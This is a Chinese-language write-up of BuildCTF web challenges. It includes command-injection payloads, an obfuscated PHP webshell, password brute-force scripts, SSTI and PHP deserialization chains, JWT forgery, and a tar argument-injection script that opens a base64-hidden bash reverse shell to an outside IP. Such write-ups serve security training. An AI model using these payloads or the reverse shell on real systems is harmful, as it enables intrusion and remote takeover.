ez!http
http的各種頭部欄位偽造,無需多言.
find-the-id
生成一個1~很大的字典去爆破
我寫的網站被rce了?
命令注入,payload為|nl${IFS}/f[k-m]ag||
babyupload
有meme檢測,副檔名應該是白名單.
傳個htaccess上去,然後傳個偽造了檔案頭的馬.
還對馬裡面的內容進行了檢測,繞的徹底一點.
<?= $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>
使用:http://target.com/path/to/shell.php?_=system&__=env
tflock
robots.txt洩露找到了兩個使用者,ctfer/123456和admin/x.
x的值是密碼本中的一個.然而連續兩次輸入錯誤密碼會被鎖定(離譜邏輯).
所以交替登入admin和ctfer.寫成指令碼如下.
import requests
url = "http://27.25.151.80:34086//login.php"
proxy = {
"http": "http://127.0.0.1:8080",
}
header = {
"Host": "27.25.151.80:34086",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Content-Length": "36",
"Origin": "http://27.25.151.80:34086",
"Connection": "close",
"Referer": "http://27.25.151.80:34086/index.php",
"Priority": "u=0"
}
data1 = {
"username": "ctfer",
"password": "123456"
}
with open ("1.txt", "r") as f:
dic = f.readlines()
cookie = {
"GZCTF_Token": "CfDJ8HK89lxLDJFGkMjPh05_xUoE_JHh1L_X1GXVwvDeqsV0kN2oLhNVGyrpw0mwbSUdhtej_uiSsdRabJNFRMBmlS6dT2DMnasxnRQjWTSTmByKdDv4cIa0H9V5uti_OJkiUzql2yImeq4QFJnitQlouXfAzXgN0-vWhAtRAVs8pYqUj-j-3Yrwn-pbBS2cgic6R3kqo9hcn0nV5JedyC3yS9PKOVU1zh9WJjFuuUrIxHXt2TPprinB-NEjQW8nzkot5RqtgbtavwDYNH81Pe0U3a1NUoYFcn4qaEZ2JonajHfjU6rFCPd9EMDUTBKJ3jLTM-HCvkzAnzVumMiXBBgD602AdNodjuUhI-h9GgLzfpre5_VKf9pR_IzJRJ63Eg5YgnzSigvai-Zt725s3Htxm5nlVtZMLSn4WCOVYKQ7okuD-WE2_c7lggZnzEYIOZtnOQKhwV7HYnZmGnBM6Prkr8BOvizDW-D7-9uz6y56c2QWP2-YGd_18PO_PweydIEXolQwKJ0fvgReJGvUnHg-rrS0GHggayN5GzUXK0qC6VDMSO7Lr9SHHKRonPu6d6y7hosaJNKBfc3xYvc6XUFeTD6DIdWIWISvsYVRAkgAW-UYXIz6rjzG5IhJIEpaycYsgFkDf9T-qp9RCq2aLaR3GNYL7yDOvRDMTKcpuR2fHtKa8Q3DTl9d19Cv60x3usnzXN6V96D4CxB0p2ZP0anIQlM"
}
for i in range (len(dic)):
data2 = {
"username": "admin",
"password": dic[i][:-1]
}
response = requests.post(url = url, headers = header, data = data1, proxies = proxy, cookies = cookie)
cookie_dict = requests.utils.dict_from_cookiejar(response.cookies)
response = requests.post(url = url, headers = header, data = data2, proxies=proxy, cookies = cookie)
cookie_dict = requests.utils.dict_from_cookiejar(response.cookies)
if '{"success":false,"message":"\\u7528\\u6237\\u540d\\u6216\\u5bc6\\u7801\\u9519\\u8bef"}' != response.text:
print("success" + dic[i])
print(response.text)
break
print(str(i) + " " + dic[i])
RedFlag
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/redflag/<redflag>')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + payload
return flask.render_template_string(safe_jinja(redflag))
if __name__ == '__main__':
app.run()
一個ssti.基本功問題,ssti的小括號根本沒法繞過.所以肯定在環境變數.
{{ url_for.__globals__['os'].environ['FLAG'] }}
LovePopChain
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最後一次了, 愛而不得, 未必就是遺憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
@unserialize($a);
if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}
很簡單的pop鏈
<?php
class MyObject{
public $NoLove;
public $Forgzy;
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
}
class hybcx{
public $JiuYue;
public $Si;
}
$a = new MyObject();
$a->NoLove = new hybcx();
$a->NoLove->Si = $a;
echo serialize($a);
比較麻煩的是這裡$_GET['No_Need.For.Love']
在php中超全域性變數中獲取到的像.
這種屬於是非法字元,會被轉換為_
,也就是說這種接受方法是不具有合法性的.
然而在php8以下的時候,存在繞過問題.
參考部落格php非預期傳參.
當
PHP版本小於8
時,如果引數中出現中括號[
,中括號會被轉換成下劃線_
,但是會出現轉換錯誤導致接下來如果該引數名中還有非法字元
並不會繼續轉換成下劃線_
,也就是說如果中括號[
出現在前面,那麼中括號[
還是會被轉換成下劃線_
,但是因為出錯導致接下來的非法字元並不會被轉換成下劃線_
逆天問題啊.
所以我們get方法傳參的變數名為No[Need.For.Love
ez_md5
第一關用sql萬能密碼ffifdyop去過,然後來到第二關.
<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");
}else die("不是吧這麼簡單的md5都過不去?");
?>
第一處可以直接用陣列去繞,第二處檢視robots.txt獲得提示,密文為114514xxxxxxx,直接用指令碼去爆破.
from hashlib import md5
c0 = '3e41f780146b6c246cd49dd296a3da28'
m0 = 1145140000000
for i in range(0, 100000000):
m = md5()
m.update(str(m0+i).encode('utf-8'))
des = m.hexdigest()
if des == c0:
print(i)
break
eazyl0gin
核心路由如下
router.post('/login',function(req,res,next){
var data = {
username: String(req.body.username),
password: String(req.body.password)
}
const md5 = crypto.createHash('md5');
const flag = process.env.flag
if(data.username.toLowerCase()==='buildctf'){
return res.render('login',{data:"你不許用buildctf賬戶登陸"})
}
if(data.username.toUpperCase()!='BUILDCTF'){
return res.render('login',{data:"只有buildctf這一個賬戶哦~"})
}
var md5pwd = md5.update(data.password).digest('hex')
if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
return res.render('login',{data:"密碼錯誤"})
}
return res.render('login',{data:flag})
})
第一層用ASCII碼305的字元ı
代替i
,進行繞過,第二層直接cmd5爆
刮刮樂
改referer,然後傳參彈個shell即可.
Why_so_serials?
php反序列化字串增多逃逸
<?php
error_reporting(0);
class Gotham{
public $Bruce="hello";
public $Wayne='jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}';
public $crime=true;
}
$a = new Gotham();
echo serialize($a);
fake_signin
import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime
app = Flask(__name__)
app.secret_key = 'BuildCTF'
CURRENT_DATE = datetime(2024, 9, 30)
users = {
'admin': {
'password': 'admin',
'signins': {},
'supplement_count': 0,
}
}
@app.route('/')
def index():
if 'user' in session:
return redirect(url_for('view_signin'))
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username]['password'] == password:
session['user'] = username
return redirect(url_for('view_signin'))
return render_template('login.html')
@app.route('/view_signin')
def view_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
signins = user['signins']
dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
for i in range(1, 31)]
today = CURRENT_DATE.strftime("%Y-%m-%d")
today_signed_in = today in signins
if len([d for d in signins.values() if d]) >= 30:
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)
@app.route('/signin')
def signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
today = CURRENT_DATE.strftime("%Y-%m-%d")
if today not in user['signins']:
user['signins'][today] = True
return redirect(url_for('view_signin'))
@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
if 'user' not in session:
return redirect(url_for('login'))
user = users[session['user']]
supplement_message = ""
if request.method == 'POST':
supplement_date = request.form.get('supplement_date')
if supplement_date:
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月補籤次數已用完。"
else:
supplement_message = "請選擇補籤日期。"
return redirect(url_for('view_signin'))
supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)
@app.route('/logout')
def logout():
session.pop('user', None)
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5051)
一共30天,需要給admin進行簽到和補籤.然而在邏輯上只能簽到一次和補籤一次,湊不夠30天.
關注一下補籤處的邏輯
if user['supplement_count'] < 1:
user['signins'][supplement_date] = True
user['supplement_count'] += 1
else:
supplement_message = "本月補籤次數已用完。"
先判斷是否補簽過,沒補簽過的話設定為補簽過了,然後再再增加補籤的次數.因此考慮去進行條件競爭.
設定執行緒數大於30,直接去爆這個supplemented datesupplement_date=2024-09-§01§
sub
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'
DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}
messages = []
@app.route('/message', methods=['GET', 'POST'])
def message():
if request.method == 'POST':
name = request.form.get('name')
content = request.form.get('content')
messages.append({'name': name, 'content': content})
flash('Message posted')
return redirect(url_for('message'))
return render_template('message.html', messages=messages)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
flash('Username already exists')
return redirect(url_for('register'))
users[username] = {'password': generate_password_hash(password), 'role': 'user'}
flash('User registered successfully')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({
'sub': username,
'role': users[username]['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
return response
else:
return jsonify({"msg": "Invalid username or password"}), 401
return render_template('login.html')
@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt', '', expires=0)
flash('You have been logged out')
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route('/page')
def page():
jwt_token = request.cookies.get('jwt')
if jwt_token:
try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
except jwt.ExpiredSignatureError:
return jsonify({"msg": "Token has expired"}), 401
except jwt.InvalidTokenError:
return jsonify({"msg": "Invalid token"}), 401
except Exception as e:
return jsonify({"msg": "Invalid or expired token"}), 401
if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')
file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')
try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')
@app.route('/categories')
def categories():
return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5050)
註冊一個賬號去登入,然後登入成功後會返回一個jwt.jwt的secretkey已經給出,可以直接進行偽造admin身份.
然後攜帶jwt去訪問document,也就是/page路由,傳參?file=test1.txt;cat /flag
進行命令拼接注入.
ez_waf
一道php檔案上傳的題,測試發現禁用了;'"=<>
,一籌莫展.
這個使用大檔案繞過,因為php中的file_getcontents和preg_match的檢測長度是有限的,如果沒對檔案上傳的長度進行限制的話,可以傳一個簽名存在10萬個無用單詞的大檔案,最後跟一個一句話馬.這樣在檢測的時候無法檢測到後面的非法內容,但是可以在訪問的時候被正常的解析.
Cookie_Factory
一個用nodejs寫的websocket的網站.後端程式碼如下.
const express = require('express')
const app = express();
const http = require('http').Server(app);
const port = 3000;
const socketIo = require('socket.io');
const io = socketIo(http);
let sessions = {}
let errors = {}
app.use(express.static(__dirname));
app.get('/', (req, res) => {
res.sendFile("./index.html")
})
io.on('connection', (socket) => {
sessions[socket.id] = 0
errors[socket.id] = 0
socket.on('disconnect', () => {
console.log('user disconnected');
});
socket.on('chat message', (msg) => {
socket.emit('chat message', msg);
});
socket.on('receivedError', (msg) => {
sessions[socket.id] = errors[socket.id]
socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
});
socket.on('click', (msg) => {
let json = JSON.parse(msg)
if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
return;
}
if (json.value != sessions[socket.id]) {
socket.emit("error", "previous value does not match")
}
let oldValue = sessions[socket.id]
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue
sessions[socket.id] = newValue
socket.emit('recievedScore', JSON.stringify({"value":newValue}));
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}
errors[socket.id] = oldValue;
});
});
http.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});
前端程式碼如下
var socket = io();
let cookie = document.querySelector("img")
class sendMessage {
power = 1
value = 0
}
let send = new sendMessage();
cookie.addEventListener('click', function (e) {
socket.emit('click', JSON.stringify({ "power": send.power, "value": send.value }));
const cookieRect = cookie.getBoundingClientRect();
const cookieWidth = cookieRect.width;
const cookieHeight = cookieRect.height;
const viewportWidth = window.innerWidth;
const viewportHeight = window.innerHeight;
const maxX = viewportWidth - cookieWidth;
const maxY = viewportHeight - cookieHeight;
const randomX = Math.random() * maxX;
const randomY = Math.random() * maxY;
cookie.style.position = 'absolute';
cookie.style.left = `${randomX}px`;
cookie.style.top = `${randomY}px`;
});
socket.on('recievedScore', function (msg) {
let scores = JSON.parse(msg)
send.value = scores.value
document.querySelector(".points").textContent = scores.value
});
socket.on('error', function (msg) {
console.log("Error")
socket.emit('receivedError', "recieved");
});
document.addEventListener('contextmenu', function (e) {
e.preventDefault();
});
document.addEventListener('keydown', function (e) {
if (e.key === 'F12') {
e.preventDefault();
}
});
每次點選曲奇會從前端傳送一個socket請求給後端,傳遞power和value這兩個值.要求value達到1e20.
我們看到每次的value要和之前的value值進行一個比較,看是否一致.
let oldValue = sessions[socket.id]
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue
sessions[socket.id] = newValue
而我們也看到,新的值(也就是用於校驗的)是根據power來進行生成的,如果我們能夠在不觸發報錯的情況下偽造一個超級大的power,就能夠實現繞過.
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}
這裡報錯的邏輯很靈性.是需要服務端向客戶端傳遞一個錯誤訊號,然後客戶端再返回一個錯誤訊號才能完成一次報錯.
這就導致了一個問題,如果我們把服務端傳送的報錯訊號drop掉,那麼就不會完成一次完整的報錯,那麼power就會偽造成功!
把power改成1e60,drop掉error,成功拿到flag.
打包給你
from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
import uuid, os
app = Flask(__name__)
@app.before_request
def check_uuid():
uuid_cookie = request.cookies.get('uuid', None)
if uuid_cookie is None:
response = make_response(redirect('/'))
response.set_cookie('uuid', str(uuid.uuid4()))
return response
try:
uuid.UUID(uuid_cookie)
except ValueError:
response = make_response(redirect('/'))
response.set_cookie('uuid', str(uuid.uuid4()))
return response
g.uuid = uuid_cookie
if not os.path.exists(f'uploads/{g.uuid}'):
os.mkdir(f'uploads/{g.uuid}')
@app.route('/', methods=['GET'])
def main():
return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
@app.route('/api/upload', methods=['POST'])
def upload():
file = request.files.get('file', None)
if file is None:
return 'No file provided', 400
# check for path traversal
if '..' in file.filename or '/' in file.filename:
return 'Invalid file name', 400
# check file size
if len(file.read()) > 1000:
return 'File too large', 400
file.save(f'uploads/{g.uuid}/{file.filename}')
return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200
@app.route('/api/download', methods=['GET'])
def download():
@after_this_request
def remove_file(response):
os.system(f"rm -rf uploads/{g.uuid}/out.tar")
return response
# make a tar of all files
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
# send tar to user
return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8888, threaded=True)
沒看出來問題,結果後來搜出來原題了.
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
在上面命令執行的時候,*會匹配所有的檔名並將匹配到的element傳入到argv中.但是檔名也是字串,引數也是字串,因此在argv中會出現混淆.
在tar中我們可以用下面的組合去執行命令.
--checkpoint=1 --checkpoint-action=exec=whoami
因此如果我們上傳兩個檔名分別為--checkpoint=1
和--checkpoint-action=exec=whoami
的檔案就能成功的去執行命令.
貼一個找到的利用指令碼,直接去彈shell即可.
import requests, base64
# initializations
URL = "http://27.25.151.80:43352/"
session = requests.Session()
cmd = b"bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}'"
#別解密,不然太沒素質了...
# get session cookie
session.request("GET", URL)
# upload random file
files = {"file": ("asdfasdf", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
# upload command
files = {"file": ("--checkpoint=1", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
files = {"file": (f"--checkpoint-action=exec=echo '{base64.b64encode(cmd).decode()}' | base64 -d | bash", "doesn't matter")}
resp = session.request("POST", f"{URL}/api/upload", files=files)
# download flag
resp = session.request("GET", f"{URL}/api/download")